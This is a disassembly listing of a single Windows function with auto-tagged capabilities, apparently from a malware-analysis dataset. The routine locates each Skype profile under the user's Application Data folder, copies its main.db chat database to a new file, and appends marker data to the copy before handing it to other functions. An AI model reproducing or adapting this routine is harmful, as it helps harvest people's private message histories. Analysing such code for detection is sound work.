Function at 0x100179a0
Capabilities:
Copy file
Enumerate files on windows
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b160
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x56c
push ebx
push esi
push edi
lea eax, [ebp - 0x370]
mov dword [ebp - 0x10], esp
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x100179ec
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
or ecx, 0xffffffff
mov edi, str.Skype
xor eax, eax
lea edx, [ebp - 0x370]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 4], eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x474]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x370]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x474]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x168]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x474]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x20], eax
je 0x10017c70
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
test byte [ebp - 0x168], 0x10
je 0x10017c50
cmp byte [ebp - 0x13c], 0x2e
je 0x10017c50
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x370]
push edx
push eax
lea ecx, [ebp - 0x578]
push str._s_smain.db
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x370]
lea ecx, [ebp - 0x26c]
push edx
push eax
push str._s_smain.imw
push ecx
call esi
lea edx, [ebp - 0x578]
push 0
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
jne 0x10017c50
push eax
lea eax, [ebp - 0x26c]
lea ecx, [ebp - 0x578]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x26c]
push 0x10030154
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x10017c50
push 2
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 1
push 1
push 0x10030200
call ebx
push esi
push 1
push 1
push 0x10031fe8
call ebx
push esi
push 5
push 1
push str.skype
call ebx
lea edi, [ebp - 0x13c]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
push 1
dec ecx
push 1
push 0x100301ec
mov byte [ebp - 0x14], cl
call ebx
add esp, 0x4c
lea eax, [ebp - 0x14]
push esi
push 1
push 1
push eax
call ebx
mov ecx, dword [ebp - 0x14]
push esi
and ecx, 0xff
lea edx, [ebp - 0x13c]
push ecx
push 1
push edx
call ebx
push esi
push 1
push 1
push 0x10031fdc
call ebx
push esi
push 1
lea eax, [ebp - 0x14]
push 1
push eax
call ebx
mov ecx, dword [ebp - 0x14]
add esp, 0x40
and ecx, 0xff
lea edx, [ebp - 0x13c]
push esi
push ecx
push 1
push edx
call ebx
mov eax, dword [ebp - 0x14]
push esi
and eax, 0xff
push 4
lea edx, [ebp - 0x18]
push 1
lea ecx, [eax + eax + 0xb]
push edx
mov dword [ebp - 0x18], ecx
call ebx
push esi
push 4
push 1
push 0x10030164
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x28]
push eax
lea edx, [ebp - 0x26c]
push ecx
push edx
call fcn.10016000
add esp, 0x40
test eax, eax
je 0x10017c50
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
push 0
push eax
push ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x26c]
push edx
push eax
push ecx
call fcn.10016090
add esp, 0x18
mov esi, dword [ebp - 0x20]
lea edx, [ebp - 0x168]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10017a9c
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret